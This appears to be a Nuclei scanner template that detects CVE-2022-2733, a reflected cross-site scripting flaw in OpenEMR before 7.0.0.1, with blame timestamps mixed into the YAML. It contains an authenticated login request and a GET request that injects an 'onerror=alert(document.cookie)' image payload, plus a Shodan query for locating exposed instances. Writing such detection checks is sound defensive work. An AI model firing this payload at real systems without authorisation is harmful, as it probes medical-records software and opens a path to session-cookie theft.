2023-05-22 10:19:45 +00:00
|
|
|
id: CVE-2022-2733
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Openemr < 7.0.0.1 - Cross-Site Scripting
|
|
|
|
author: ctflearner
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.0.1.
|
|
|
|
reference:
|
|
|
|
- https://huntr.dev/bounties/25b91301-dfb0-4353-a732-e051bbe8420c/
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-2733
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
|
|
|
cve-id: CVE-2022-2733
|
|
|
|
cwe-id: CWE-79
|
|
|
|
metadata:
|
2023-06-03 18:56:35 +00:00
|
|
|
max-request: 2
|
2023-05-22 10:19:45 +00:00
|
|
|
shodan-query: title:"OpenEMR"
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-06-03 18:56:35 +00:00
|
|
|
tags: cve,cve2022,xss,openemr,authenticated,huntr
|
2023-05-22 10:19:45 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Origin: {{RootURL}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
Referer: {{RootURL}}/interface/login/login.php?site=default
|
|
|
|
|
|
|
|
new_login_session_management=1&languageChoice=1&authUser={{username}}&clearPass={{password}}&languageChoice=1
|
|
|
|
|
|
|
|
- |
|
|
|
|
GET /interface/forms/fee_sheet/review/fee_sheet_options_ajax.php?pricelevel=%3Cimg%20src=a%20onerror=alert(document.cookie)%3E HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- '<img src=a onerror=alert(document.cookie)>'
|
|
|
|
- 'pricelevel'
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- text/html
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|